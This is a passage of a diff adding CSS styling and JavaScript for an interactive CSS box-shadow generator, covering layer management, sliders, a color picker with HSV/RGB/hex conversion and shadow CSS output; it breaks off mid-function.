+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+
+#stack_container .title {
+	text-align: center;
+	font-weight: bold;
+	line-height: 2em;
+	border-bottom: 1px solid #43A6E1;
+	color: #666;
+}
+
+
+/*
+ * Stack of Layers for shadow
+ */
+
+#layer_manager {
+	width: 17%;
+	background-color: #FEFEFE;
+	margin: 0 1% 0 0;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+	float: left;
+}
+
+
+#layer_manager .button {
+	width: 30%;
+	height: 25px;
+	margin:0 0 10px;
+	color: #333;
+	background-color: #EEE;
+	text-align: center;
+	font-size: 0.75em;
+	line-height: 1.5em;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+
+	display: block;
+	background-position: center center;
+	background-repeat: no-repeat;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+	float: left;
+}
+
+#layer_manager .button:hover {
+	background-color: #3380C4;
+	border: 1px solid #3380C4;
+	cursor: pointer;
+}
+
+#layer_manager [data-type='add'] {
+	background-image: url("https://mdn.mozillademos.org/files/5685/add-black.png");
+}
+
+#layer_manager [data-type='add']:hover {
+	background-image: url("https://mdn.mozillademos.org/files/5687/add-white.png");
+}
+
+#layer_manager [data-type='move-up'] {
+	background-image: url("https://mdn.mozillademos.org/files/5697/up-black.png");
+	margin-left: 5%;
+	margin-right: 5%;
+}
+
+#layer_manager [data-type='move-up']:hover {
+	background-image: url("https://mdn.mozillademos.org/files/5709/up-white.png");
+}
+
+#layer_manager [data-type='move-down'] {
+	background-image: url("https://mdn.mozillademos.org/files/5693/down-black.png");
+}
+
+#layer_manager [data-type='move-down']:hover {
+	background-image: url("https://mdn.mozillademos.org/files/5695/down-white.png");
+}
+
+/* shadows classes */
+
+#layer_manager .node {
+	width: 100%;
+	margin: 5px 0;
+	padding: 5px;
+	text-align: center;
+	background-color: #EEE;
+	border: 1px solid #DDD;
+	font-size: 0.75em;
+	line-height: 1.5em;
+	color: #333;
+	border-radius: 3px;
+
+	position: relative;
+	display: block;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#layer_manager .node:hover {
+	color: #FFF;
+	background-color: #3380C4;
+	cursor: pointer;
+}
+
+/* active element styling */
+
+#layer_manager [data-active='layer'] {
+	color: #FFF;
+	border: none;
+	background-color: #379B4A;
+}
+
+#layer_manager [data-active='subject'] {
+	color: #FFF;
+	background-color: #467FC9;
+}
+
+/* delete button */
+
+#layer_manager .delete {
+	width: 1.5em;
+	height: 100%;
+	float: right;
+	border-radius: 3px;
+	background-image: url("https://mdn.mozillademos.org/files/5689/delete-white.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+	position: absolute;
+	top: 0;
+	right: 10px;
+	display: none;
+}
+
+#layer_manager .delete:hover {
+	background-image: url("https://mdn.mozillademos.org/files/5691/delete-yellow.png");
+}
+
+#layer_manager .node:hover .delete {
+	display: block;
+}
+
+
+#layer_manager .stack {
+	padding: 0 5px;
+	max-height: 90%;
+	overflow: auto;
+	overflow-x: hidden;
+}
+
+
+/*
+ * Layer Menu
+ */
+
+#layer_menu {
+	margin: 0 0 10px 0;
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#layer_menu .button {
+	width: 100px;
+	margin: 0 5px 0 0;
+	padding: 2.5px;
+	color: #333;
+	background-color: #EEE;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+	text-align: center;
+	font-size: 0.75em;
+	line-height: 1.5em;
+
+	position: relative;
+	display: block;
+	float: left;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#layer_menu .button:hover {
+	color: #FFF;
+	background-color: #3380C4;
+	border: 1px solid #3380C4;
+	cursor: pointer;
+}
+
+#layer_menu .delete {
+	width: 1.5em;
+	height: 100%;
+	float: right;
+	border-radius: 3px;
+	background-image: url("https://mdn.mozillademos.org/files/5689/delete-white.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+	position: absolute;
+	top: 0;
+	right: 5px;
+	display: none;
+}
+
+#layer_menu .delete:hover {
+	background-image: url("https://mdn.mozillademos.org/files/5691/delete-yellow.png");
+}
+
+#layer_menu .button:hover .delete {
+	display: block;
+}
+
+
+/*
+ * active element styling
+ */
+
+#layer_menu [data-active='subject'] {
+	color: #FFF;
+	background-color: #379B4A;
+	border: 1px solid #379B4A;
+}
+
+
+/* Checkbox */
+
+#layer_menu .ui-checkbox > label {
+	height: 15px;
+	line-height: 17px;
+	font-weight: normal;
+	width: 46px;
+	margin: 0 5px 0 0;
+}
+
+#layer_menu .ui-checkbox > input:checked + label {
+	display: none;
+}
+
+
+/******************************************************************************/
+/******************************************************************************/
+/*
+ * Preview Area
+ */
+
+#preview_zone {
+	width: 82%;
+	float: left;
+
+}
+
+
+#preview {
+	width: 100%;
+	height: 400px;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+	cursor: move;
+	float: left;
+}
+
+#preview .content {
+	width: 100%;
+	height: 100%;
+	display: block;
+}
+
+#obj-element {
+	width: 300px;
+	height: 100px;
+	border: 1px solid #CCC;
+	background: #FFF;
+	position: relative;
+}
+
+
+#obj-before {
+	height: 100%;
+	width: 100%;
+	background: #999;
+	border: 1px solid #CCC;
+	text-align: left;
+	display : block;
+	position: absolute;
+	z-index: -1;
+}
+
+#obj-after {
+	height: 100%;
+	width: 100%;
+	background: #DDD;
+	border: 1px solid #CCC;
+	text-align: right;
+	display : block;
+	position: absolute;
+	z-index: -1;
+}
+
+
+/******************************************************************************/
+/******************************************************************************/
+
+/**
+ * Controls
+ */
+
+.wrap-left {
+	float: left;
+	overflow: hidden;
+}
+
+.wrap-right {
+	float: right;
+	overflow: hidden;
+}
+
+.wrap-left > * {
+	float: left;
+}
+
+.wrap-right > * {
+	float: right;
+}
+
+@media (min-width: 960px) {
+
+	.wrap-left {
+		width: 45%;
+	}
+
+	.wrap-right {
+		width: 55%;
+	}
+}
+
+
+@media (max-width: 959px) {
+
+	.wrap-left {
+		width: 30%;
+	}
+
+	.wrap-right {
+		width: 70%;
+	}
+}
+
+
+#controls {
+	color: #444;
+	margin: 10px 0 0 0;
+}
+
+
+#controls .category {
+	width: 500px;
+	margin: 0 auto 20px;
+	padding: 0;
+
+}
+
+#controls .category .title {
+	width: 100%;
+	height: 1.5em;
+	line-height: 1.5em;
+	color: #AAA;
+	text-align: right;
+}
+
+#controls .category > .group {
+	border: 1px solid #CCC;
+	border-radius: 3px;
+}
+
+
+/**
+ * 	Color Picker
+ */
+
+@media (min-width: 960px) {
+	#controls .colorpicker {
+		width: 420px;
+	}
+}
+
+@media (max-width: 959px) {
+	#controls .colorpicker {
+		width: 210px;
+	}
+}
+
+#colorpicker {
+	width: 100%;
+	margin: 0 auto;
+}
+
+#colorpicker .gradient {
+	width: 200px;
+	height: 200px;
+	margin: 5px;
+	background: url("https://mdn.mozillademos.org/files/5707/picker_mask_200.png");
+	background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-moz-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-webkit-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background-color: #F00;
+	float: left;
+}
+
+#colorpicker .hue {
+	width: 200px;
+	height: 30px;
+	margin: 5px;
+	background: url("https://mdn.mozillademos.org/files/5701/hue.png");
+	background: -moz-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	background: -webkit-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	float: left;
+}
+
+#colorpicker .alpha {
+	width: 200px;
+	height: 30px;
+	margin: 5px;
+	border: 1px solid #CCC;
+	float: left;
+	background: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#colorpicker #alpha {
+	width: 100%;
+	height: 100%;
+	background: url("https://mdn.mozillademos.org/files/5703/alpha_mask.png");
+	background: -moz-linear-gradient(left, rgba(255, 0, 0, 0) 0%, rgba(255, 0, 0, 1) 100%);
+}
+
+#colorpicker #gradient_picker {
+	width: 0.5em;
+	height: 0.5em;
+	border-radius: 0.4em;
+	border: 2px solid #CCC;
+	position: relative;
+	top: 20%;
+	left: 20%;
+}
+
+#colorpicker #hue_selector,
+#colorpicker #alpha_selector {
+	width: 3px;
+	height: 100%;
+	border: 1px solid #777;
+	background-color: #FFF;
+	position: relative;
+	top: -1px;
+	left: 0%;
+}
+
+/* input HSV and RGB */
+#colorpicker .info {
+	width: 200px;
+	margin: 5px;
+	float: left;
+}
+
+#colorpicker .info * {
+	float: left;
+}
+
+#colorpicker .info input {
+	margin: 0;
+	text-align: center;
+	width: 30px;
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+}
+
+#colorpicker .info span {
+	height: 20px;
+	width: 30px;
+	text-align: center;
+	line-height: 20px;
+	display: block;
+}
+
+/* Preview color */
+#colorpicker .block {
+	width: 95px;
+	height: 54px;
+	float: left;
+	position: relative;
+}
+
+#colorpicker .preview {
+	margin: 5px;
+	border: 1px solid #CCC;
+	background-image: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#colorpicker .preview:before {
+	height: 100%;
+	width: 50%;
+	left: 50%;
+	content: "";
+	background: #FFF;
+	position: absolute;
+	z-index: 1;
+}
+
+#colorpicker .preview > * {
+	width: 50%;
+	height: 100%;
+}
+
+#colorpicker #output_color {
+	width: 100%;
+	height: 100%;
+	position: absolute;
+	z-index: 2;
+}
+
+#colorpicker .block .input {
+	float: right;
+}
+
+#colorpicker [data-topic="a"] > span {
+	width: 50px;
+}
+
+#colorpicker [data-topic="hexa"] {
+	float: right;
+	margin: 10px 0 0 0;
+}
+
+#colorpicker [data-topic="hexa"] > span {
+	display: none;
+}
+
+#colorpicker [data-topic="hexa"] > input {
+	width: 85px;
+	padding: 2px 0;
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+
+/*
+ * UI Components
+ */
+
+/* Property */
+
+.property {
+	height: 20px;
+	margin: 10px 0;
+}
+
+.property * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Slider */
+
+#controls .ui-slider-name {
+	margin: 0 10px 0 0;
+}
+
+/*
+ * Output code styling
+ */
+
+#output {
+	position: relative;
+}
+
+#output .menu {
+	max-width: 70%;
+	height: 20px;
+	position: absolute;
+	top: 2px;
+}
+
+#output .button {
+	width: 90px;
+	height: 22px;
+	margin: 0 5px 0 0;
+	text-align: center;
+	line-height: 20px;
+	font-size: 14px;
+	color: #FFF;
+	background-color: #999;
+	border-top-left-radius: 3px;
+	border-top-right-radius: 3px;
+	bottom: -5px;
+	float:left;
+}
+
+#output .button:hover {
+	color: #FFF;
+	background-color: #666;
+	cursor: pointer;
+}
+
+#output .menu [data-active="true"] {
+	color: #777;
+	background-color: #FFF;
+	border: 1px solid #CCC;
+	border-bottom: none;
+}
+
+#output .menu [data-topic="before"] {
+	left: 100px;
+}
+
+#output .menu [data-topic="after"] {
+	left: 200px;
+}
+
+#output .output {
+	width: 480px;
+	margin: 10px;
+	padding: 10px;
+	overflow: hidden;
+	color: #555;
+	font-size: 14px;
+	border: 1px dashed #CCC;
+	border-radius: 3px;
+	display: none;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+}
+
+#output .css-property {
+	width: 100%;
+	float: left;
+	white-space: pre;
+}
+
+#output .name {
+	width: 35%;
+	float: left;
+}
+
+#output .value {
+	width: 65%;
+	float: left;
+}
+
+
+ +

JavaScript Content

+ +

+
+'use strict';
+
+/**
+ * UI-SlidersManager
+ */
+
+var SliderManager = (function SliderManager() {
+
+	var subscribers = {};
+	var sliders = [];
+
+	var Slider = function(node) {
+		var min = node.getAttribute('data-min') | 0;
+		var max = node.getAttribute('data-max') | 0;
+		var step = node.getAttribute('data-step') | 0;
+		var value = node.getAttribute('data-value') | 0;
+		var snap = node.getAttribute('data-snap');
+		var topic = node.getAttribute('data-topic');
+
+		this.min = min;
+		this.max = max > 0 ? max : 100;
+		this.step = step === 0 ? 1 : step;
+		this.value = value <= max && value >= min ? value : (min + max) / 2 | 0;
+		this.snap = snap === "true" ? true : false;
+		this.topic = topic;
+		this.node = node;
+
+		var pointer = document.createElement('div');
+		pointer.className = 'ui-slider-pointer';
+		node.appendChild(pointer);
+		this.pointer = pointer;
+
+		setMouseTracking(node, updateSlider.bind(this));
+
+		sliders[topic] = this;
+		setValue(topic, this.value);
+	}
+
+	var setButtonComponent = function setButtonComponent(node) {
+		var type = node.getAttribute('data-type');
+		var topic = node.getAttribute('data-topic');
+		if (type === "sub") {
+			node.textContent = '-';
+			node.addEventListener("click", function() {
+				decrement(topic);
+			});
+		}
+		if (type === "add") {
+			node.textContent = '+';
+			node.addEventListener("click", function() {
+				increment(topic);
+			});
+		}
+	}
+
+	var setInputComponent = function setInputComponent(node) {
+		var topic		= node.getAttribute('data-topic');
+		var unit_type	= node.getAttribute('data-unit');
+
+		var input = document.createElement('input');
+		var unit = document.createElement('span');
+		unit.textContent = unit_type;
+
+		input.setAttribute('type', 'text');
+		node.appendChild(input);
+		node.appendChild(unit);
+
+		input.addEventListener('click', function(e) {
+			this.select();
+		});
+
+		input.addEventListener('change', function(e) {
+			setValue(topic, e.target.value | 0);
+		});
+
+		subscribe(topic, function(value) {
+			node.children[0].value = value;
+		});
+	}
+
+	var increment = function increment(topic) {
+		var slider = sliders[topic];
+		if (slider === null || slider === undefined)
+			return;
+
+		if (slider.value + slider.step <= slider.max) {
+			slider.value += slider.step;
+			setValue(slider.topic, slider.value)
+			notify.call(slider);
+		}
+	};
+
+	var decrement = function decrement(topic) {
+		var slider = sliders[topic];
+		if (slider === null || slider === undefined)
+			return;
+
+		if (slider.value - slider.step >= slider.min) {
+			slider.value -= slider.step;
+			setValue(topic, slider.value)
+			notify.call(slider);
+		}
+	}
+
+	// this = Slider object
+	var updateSlider = function updateSlider(e) {
+		var node = this.node;
+		var pos = e.pageX - node.offsetLeft;
+		var width = node.clientWidth;
+		var delta = this.max - this.min;
+		var offset = this.pointer.clientWidth + 4; // border width * 2
+
+		if (pos < 0) pos = 0;
+		if (pos > width) pos = width;
+
+		var value = pos * delta / width | 0;
+		var precision = value % this.step;
+		value = value - precision + this.min;
+		if (precision > this.step / 2)
+			value = value + this.step;
+
+		if (this.snap)
+			pos =  (value - this.min) * width / delta;
+
+		this.pointer.style.left = pos - offset/2 + "px";
+		this.value = value;
+		node.setAttribute('data-value', value);
+		notify.call(this);
+	}
+
+	var setValue = function setValue(topic, value) {
+		var slider = sliders[topic];
+
+		if (value > slider.max || value < slider.min)
+			return;
+
+		var delta = slider.max - slider.min;
+		var width = slider.node.clientWidth;
+		var offset = slider.pointer.clientWidth;
+		var pos =  (value - slider.min) * width / delta;
+		slider.value = value;
+		slider.pointer.style.left = pos - offset / 2 + "px";
+		slider.node.setAttribute('data-value', value);
+		notify.call(slider);
+	}
+
+	var setMouseTracking = function setMouseTracking(elem, callback) {
+		elem.addEventListener("mousedown", function(e) {
+			callback(e);
+			document.addEventListener("mousemove", callback);
+		});
+
+		document.addEventListener("mouseup", function(e) {
+			document.removeEventListener("mousemove", callback);
+		});
+	}
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	}
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	}
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+
+		for (var i in subscribers[this.topic]) {
+			subscribers[this.topic][i](this.value);
+		}
+	}
+
+	var init = function init() {
+		var elem, size;
+
+		elem = document.querySelectorAll('.ui-slider-btn-set');
+		size = elem.length;
+		for (var i = 0; i < size; i++)
+			setButtonComponent(elem[i]);
+
+		elem = document.querySelectorAll('.ui-slider-input');
+		size = elem.length;
+		for (var i = 0; i < size; i++)
+			setInputComponent(elem[i]);
+
+		elem = document.querySelectorAll('.ui-slider');
+		size = elem.length;
+		for (var i = 0; i < size; i++)
+			new Slider(elem[i]);
+	}
+
+	return {
+		init : init,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	}
+
+})();
+
+/**
+ * UI-ButtonManager
+ */
+
+var ButtonManager = (function CheckBoxManager() {
+
+	var subscribers = [];
+	var buttons = [];
+
+	var CheckBox = function CheckBox(node) {
+		var topic = node.getAttribute('data-topic');
+		var state = node.getAttribute('data-state');
+		var name = node.getAttribute('data-label');
+		var align = node.getAttribute('data-text-on');
+
+		state = (state === "true");
+
+		var checkbox = document.createElement("input");
+		var label = document.createElement("label");
+
+		var id = 'checkbox-' + topic;
+		checkbox.id = id;
+		checkbox.setAttribute('type', 'checkbox');
+		checkbox.checked = state;
+
+		label.setAttribute('for', id);
+		if (name) {
+			label.className = 'text';
+			if (align)
+				label.className += ' ' + align;
+			label.textContent = name;
+		}
+
+		node.appendChild(checkbox);
+		node.appendChild(label);
+
+		this.node = node;
+		this.topic = topic;
+		this.checkbox = checkbox;
+
+		checkbox.addEventListener('change', function(e) {
+			notify.call(this);
+		}.bind(this));
+
+		buttons[topic] = this;
+	}
+
+	var getNode =  function getNode(topic) {
+		return buttons[topic].node;
+	}
+
+	var setValue = function setValue(topic, value) {
+		try {
+			buttons[topic].checkbox.checked = value;
+			notify.call(buttons[topic]);
+		}
+		catch(error) {
+			console.log(error, topic, value);
+		}
+	}
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+
+		subscribers[topic].push(callback);
+	}
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	}
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+		for (var i = 0; i < subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.checkbox.checked);
+	}
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-checkbox');
+		var size = elem.length;
+		for (var i = 0; i < size; i++)
+			new CheckBox(elem[i]);
+	}
+
+	return {
+		init : init,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	}
+
+})();
+
+
+window.addEventListener("load", function(){
+	BoxShadow.init();
+});
+
+var BoxShadow = (function BoxShadow() {
+
+	function getElemById(id) {
+		return document.getElementById(id);
+	}
+
+	/**
+	 * RGBA Color class
+	 */
+
+	function Color() {
+		this.r = 0;
+		this.g = 0;
+		this.b = 0;
+		this.a = 1;
+		this.hue = 0;
+		this.saturation = 0;
+		this.value = 0;
+	}
+
+	Color.prototype.copy = function copy(obj) {
+		if(obj instanceof Color !== true) {
+			console.log("Typeof instance not Color");
+			return;
+		}
+
+		this.r = obj.r;
+		this.g = obj.g;
+		this.b = obj.b;
+		this.a = obj.a;
+		this.hue = obj.hue;
+		this.saturation = obj.saturation;
+		this.value = obj.value;
+	}
+
+	Color.prototype.setRGBA = function setRGBA(red, green, blue, alpha) {
+		if (red != undefined)
+			this.r = red | 0;
+		if (green != undefined)
+			this.g = green | 0;
+		if (blue != undefined)
+			this.b = blue | 0;
+		if (alpha != undefined)
+			this.a = alpha | 0;
+	}
+
+	/**
+	 * HSV/HSB (hue, saturation, value / brightness)
+	 * @param hue			0-360
+	 * @param saturation	0-100
+	 * @param value 		0-100
+	 */
+	Color.prototype.setHSV = function setHSV(hue, saturation, value) {
+		this.hue = hue;
+		this.saturation = saturation;
+		this.value = value;
+		this.updateRGB();
+	}
+
+	Color.prototype.updateRGB = function updateRGB() {
+		var sat = this.saturation / 100;
+		var value = this.value / 100;
+		var C = sat * value;
+		var H = this.hue / 60;
+		var X = C * (1 - Math.abs(H % 2 - 1));
+		var m = value - C;
+		var precision = 255;
+
+		C = (C + m) * precision;
+		X = (X + m) * precision;
+		m = m * precision;
+
+		if (H >= 0 && H < 1) {	this.setRGBA(C, X, m);	return; }
+		if (H >= 1 && H < 2) {	this.setRGBA(X, C, m);	return; }
+		if (H >= 2 && H < 3) {	this.setRGBA(m, C, X);	return; }
+		if (H >= 3 && H < 4) {	this.setRGBA(m, X, C);	return; }
+		if (H >= 4 && H < 5) {	this.setRGBA(X, m, C);	return; }
+		if (H >= 5 && H < 6) {	this.setRGBA(C, m, X);	return; }
+	}
+
+	Color.prototype.updateHSV = function updateHSV() {
+		var red		= this.r / 255;
+		var green	= this.g / 255;
+		var blue	= this.b / 255;
+
+		var cmax = Math.max(red, green, blue);
+		var cmin = Math.min(red, green, blue);
+		var delta = cmax - cmin;
+		var hue = 0;
+		var saturation = 0;
+
+		if (delta) {
+			if (cmax === red ) { hue = ((green - blue) / delta); }
+			if (cmax === green ) { hue = 2 + (blue - red) / delta; }
+			if (cmax === blue ) { hue = 4 + (red - green) / delta; }
+			if (cmax) saturation = delta / cmax;
+		}
+
+		this.hue = 60 * hue | 0;
+		if (this.hue < 0) this.hue += 360;
+		this.saturation = (saturation * 100) | 0;
+		this.value = (cmax * 100) | 0;
+	}
+
+	Color.prototype.setHexa = function setHexa(value) {
+		var valid  = /(^#{0,1}[0-9A-F]{6}$)|(^#{0,1}[0-9A-F]{3}$)/i.test(value)
+		if (valid !== true)
+			return;
+
+		if (value[0] === '#')
+			value = value.slice(1, value.length);
+
+		if (value.length === 3)
+			value = value.replace(/([0-9A-F])([0-9A-F])([0-9A-F])/i,"$1$1$2$2$3$3");
+
+		this.r = parseInt(value.substr(0, 2), 16);
+		this.g = parseInt(value.substr(2, 2), 16);
+		this.b = parseInt(value.substr(4, 2), 16);
+
+		this.alpha	= 1;
+	}
+
+	Color.prototype.getHexa = function getHexa() {
+		var r = this.r.toString(16);
+		var g = this.g.toString(16);
+		var b = this.b.toString(16);
+		if (this.r < 16) r = '0' + r;
+		if (this.g < 16) g = '0' + g;
+		if (this.b < 16) b = '0' + b;
+		var value = '#' + r + g + b;
+		return value.toUpperCase();
+	}
+
+	Color.prototype.getRGBA = function getRGBA() {
+
+		var rgb = "(" + this.r + ", " + this.g + ", " + this.b;
+		var a = '';
+		var v = '';
+		if (this.a !== 1) {
+			a = 'a';
+			v = ', ' + this.a;
+		}
+
+		var value = "rgb" + a + rgb + v + ")";
+		return value;
+	}
+
+	Color.prototype.getColor = function getColor() {
+		if (this.a | 0 === 1)
+			return this.getHexa();
+		return this.getRGBA();
+	}
+
+	/**
+	 * Shadow Object
+	 */
+	function Shadow() {
+		this.inset  = false;
+		this.posX   = 5;
+		this.posY   = -5;
+		this.blur   = 5;
+		this.spread = 0;
+		this.color  = new Color();
+
+		var hue			= (Math.random() * 360) | 0;
+		var saturation	= (Math.random() * 75) | 0;
+		var value 		= (Math.random() * 50 + 50) | 0;
+		this.color.setHSV(hue, saturation, value, 1);
+	}
+
+	Shadow.prototype.computeCSS = function computeCSS() {
+		var value = "";
+		if (this.inset === true)
+			value += "inset ";
+		value += this.posX + "px ";
+		value += this.posY + "px ";
+		value += this.blur + "px ";
+		value += this.spread + "px ";
+		value += this.color.getColor();
+
+		return value;
+	}
+
+	Shadow.prototype.toggleInset = function toggleInset(value) {
+		if (value !== undefined || typeof value === "boolean")
+			this.inset = value;
+		else
+			this.inset = this.inset === true ? false : true;
+	}
+
+	Shadow.prototype.copy = function copy(obj) {
+		if(obj instanceof Shadow !== true) {
+			console.log("Typeof instance not Shadow");
+			return;
+		}
+
+		this.inset  = obj.inset;
+		this.posX   = obj.posX;
+		this.posY   = obj.posY;
+		this.blur   = obj.blur;
+		this.spread = obj.spread;
+		this.color.copy(obj.color);
+	}
+
+	/**
+	 * Color Picker
+	 */
+	var ColoPicker = (function ColoPicker() {
+
+		var colorpicker;
+		var hue_area;
+		var gradient_area;
+		var alpha_area;
+		var gradient_picker;
+		var hue_selector;
+		var alpha_selector;
+		var pick_object;
+		var info_rgb;
+		var info_hsv;
+		var info_hexa;
+		var output_color;
+		var color = new Color();
+		var subscribers = [];
+
+		var updateColor = function updateColor(e) {
+			var x = e.pageX - gradient_area.offsetLeft;
+			var y = e.pageY - gradient_area.offsetTop;
+
+			// width and height should be the same
+			var size = gradient_area.clientWidth;
+
+			if (x > size)
+				x = size;
+			if (y > size)
+				y = size;
+
+			if (x < 0) x = 0;
+			if (y < 0) y = 0;
+
+			var value = 100 - (y * 100 / size) | 0;
+			var saturation = x * 100 / size | 0;
+
+			color.setHSV(color.hue, saturation, value);
+			// should update just
+			// color pointer location
+			updateUI();
+			notify("color", color);
+		}
+
+		var updateHue = function updateHue(e) {
+			var x = e.pageX - hue_area.offsetLeft;
+			var width = hue_area.clientWidth;
+
+			if (x < 0) x = 0;
+			if (x > width) x = width;
+
+			var hue = ((360 * x) / width) | 0;
+			if (hue === 360) hue = 359;
+
+			color.setHSV(hue, color.saturation, color.value);
+
+			// should update just
+			// hue pointer location
+			// picker area background
+			// alpha area background
+			updateUI();
+			notify("color", color);
+		}
+
+		var updateAlpha = function updateAlpha(e) {
+			var x = e.pageX - alpha_area.offsetLeft;
+			var width = alpha_area.clientWidth;
+
+			if (x < 0) x = 0;
+			if (x > width) x = width;
+
+			color.a = (x / width).toFixed(2);
+
+			// should update just
+			// alpha pointer location
+			updateUI();
+			notify("color", color);
+		}
+
+		var setHueGfx = function setHueGfx(hue) {
+			var sat = color.saturation;
+			var val = color.value;
+			var alpha = color.a;
+
+			color.setHSV(hue, 100, 100);
+			gradient_area.style.backgroundColor = color.getHexa();
+
+			color.a = 0;
+			var start = color.getRGBA();
+			color.a = 1;
+			var end = color.getRGBA();
+			color.a = alpha;
+
+			var gradient = '-moz-linear-gradient(left, ' +	start + '0%, ' + end + ' 100%)';
+			alpha_area.style.background = gradient;
+		}
+
+		var updateUI = function updateUI() {
+			var x, y;		// coordinates
+			var size;		// size of the area
+			var offset;		// pointer graphic selector offset
+
+			// Set color pointer location
+			size = gradient_area.clientWidth;
+			offset = gradient_picker.clientWidth / 2 + 2;
+
+			x = (color.saturation * size / 100) | 0;
+			y = size - (color.value * size / 100) | 0;
+
+			gradient_picker.style.left = x - offset + "px";
+			gradient_picker.style.top = y - offset + "px";
+
+			// Set hue pointer location
+			size = hue_area.clientWidth;
+			offset = hue_selector.clientWidth/2;
+			x = (color.hue * size / 360 ) | 0;
+			hue_selector.style.left = x - offset + "px";
+
+			// Set alpha pointer location
+			size = alpha_area.clientWidth;
+			offset = alpha_selector.clientWidth/2;
+			x = (color.a * size) | 0;
+			alpha_selector.style.left = x - offset + "px";
+
+			// Set picker area background
+			var nc = new Color();
+			nc.copy(color);
+			if (nc.hue === 360) nc.hue = 0;
+			nc.setHSV(nc.hue, 100, 100);
+			gradient_area.style.backgroundColor = nc.getHexa();
+
+			// Set alpha area background
+			nc.copy(color);
+			nc.a = 0;
+			var start = nc.getRGBA();
+			nc.a = 1;
+			var end = nc.getRGBA();
+			var gradient = '-moz-linear-gradient(left, ' +	start + '0%, ' + end + ' 100%)';
+			alpha_area.style.background = gradient;
+
+			// Update color info
+			notify("color", color);
+			notify("hue", color.hue);
+			notify("saturation", color.saturation);
+			notify("value", color.value);
+			notify("r", color.r);
+			notify("g", color.g);
+			notify("b", color.b);
+			notify("a", color.a);
+			notify("hexa", color.getHexa());
+			output_color.style.backgroundColor = color.getRGBA();
+		}
+
+		var setInputComponent = function setInputComponent(node) {
+			var topic = node.getAttribute('data-topic');
+			var title = node.getAttribute('data-title');
+			var action = node.getAttribute('data-action');
+			title = title === null ? '' : title;
+
+			var input = document.createElement('input');
+			var info = document.createElement('span');
+			info.textContent = title;
+
+			input.setAttribute('type', 'text');
+			input.setAttribute('data-action', 'set-' + action + '-' + topic);
+			node.appendChild(info);
+			node.appendChild(input);
+
+			input.addEventListener('click', function(e) {
+				this.select();
+			});
+
+			input.addEventListener('change', function(e) {
+				if (action === 'HSV')
+					inputChangeHSV(topic);
+				if (action === 'RGB')
+					inputChangeRGB(topic);
+				if (action === 'alpha')
+					inputChangeAlpha(topic);
+				if (action === 'hexa')
+					inputChangeHexa(topic);
+			});
+
+			subscribe(topic, function(value) {
+				node.children[1].value = value;
+			});
+		}
+
+		var inputChangeHSV = function actionHSV(topic) {
+			var selector = "[data-action='set-HSV-" + topic + "']";
+			var node = document.querySelector("#colorpicker " + selector);
+			var value = parseInt(node.value);
+
+			if (typeof value === 'number' && isNaN(value) === false &&
+				value >= 0 && value < 360)
+				color[topic] = value;
+
+			color.updateRGB();
+			updateUI();
+		}
+
+		var inputChangeRGB = function inputChangeRGB(topic) {
+			var selector = "[data-action='set-RGB-" + topic + "']";
+			var node = document.querySelector("#colorpicker " + selector);
+			var value = parseInt(node.value);
+
+			if (typeof value === 'number' && isNaN(value) === false &&
+				value >= 0 && value <= 255)
+				color[topic] = value;
+
+			color.updateHSV();
+			updateUI();
+		}
+
+		var inputChangeAlpha = function inputChangeAlpha(topic) {
+			var selector = "[data-action='set-alpha-" + topic + "']";
